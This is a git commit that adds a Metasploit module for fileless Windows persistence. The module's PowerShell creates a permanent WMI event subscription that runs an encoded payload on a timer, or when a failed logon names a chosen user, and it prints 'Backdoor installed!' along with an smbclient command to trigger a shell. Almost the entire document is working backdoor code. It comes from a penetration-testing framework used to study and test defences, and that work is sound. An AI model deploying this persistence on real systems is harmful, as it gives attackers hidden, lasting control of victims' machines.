added wmi_persistence module

This commit is contained in:
NickTyrer 2017-06-05 17:44:37 +01:00
parent 8c35e54934
commit 994995671e
1 changed files with 151 additions and 0 deletions

View File

@ -0,0 +1,151 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/file'
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'WMI Event Subscription Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using one
of two methods. The USERNAME method will create an event filter that will query the event log for an
EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER.
When these criteria are met a command line event consumer will trigger an encoded powershell payload.
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL.
This module requires administrator level privileges as well as a high integrity process. It is also
recommended not to use stageles payloads due to powershell script length limitations.
},
'Author' => ['Nick Tyrer <@NickTyrer>'],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
},
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
]
))
register_options([
OptEnum.new('PERSISTENCE_METHOD',
[true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL']]),
OptInt.new('EVENT_ID_TRIGGER',
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
OptString.new('USERNAME_TRIGGER',
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
OptInt.new('CALLBACK_INTERVAL',
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
OptString.new('CLASSNAME',
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
])
end
def build_payload
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
def subscription_user
command = build_payload
event_id = datastore['EVENT_ID_TRIGGER']
username = datastore['USERNAME_TRIGGER']
class_name = datastore['CLASSNAME']
"auditpol.exe /set /subcategory:Logon /failure:Enable
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent Within 5 WHERE TargetInstance ISA 'Win32_NTLogEvent' And Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
end
def subscription_interval
command = build_payload
class_name = datastore['CLASSNAME']
callback_interval = datastore['CALLBACK_INTERVAL']
"$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
end
def log_file(log_path = nil) # Thanks Meatballs for this
# Get hostname
host = session.session_host
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'wmi_persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
else
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
end
# Create the log directory
::FileUtils.mkdir_p(logs)
# logfile name
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
logfile
end
def cleanup
name_class = datastore['CLASSNAME']
clean_rc = log_file()
clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
file_local_write(clean_rc, clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
end
def exploit
raise "Powershell not available" if ! have_powershell?
unless is_admin?
print_error("This module requires admin privs to run")
return
end
unless is_high_integrity?
print_error("This module requires UAC to be bypassed first")
return
end
case datastore['PERSISTENCE_METHOD']
when 'INTERVAL'
psh_exec(subscription_interval)
print_good "Backdoor installed!"
@cleanup
when 'USERNAME'
psh_exec(subscription_user)
print_good "Backdoor installed! Call a shell using \"smbclient \\\\\\\\<target_ip>\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
@cleanup
end
end
end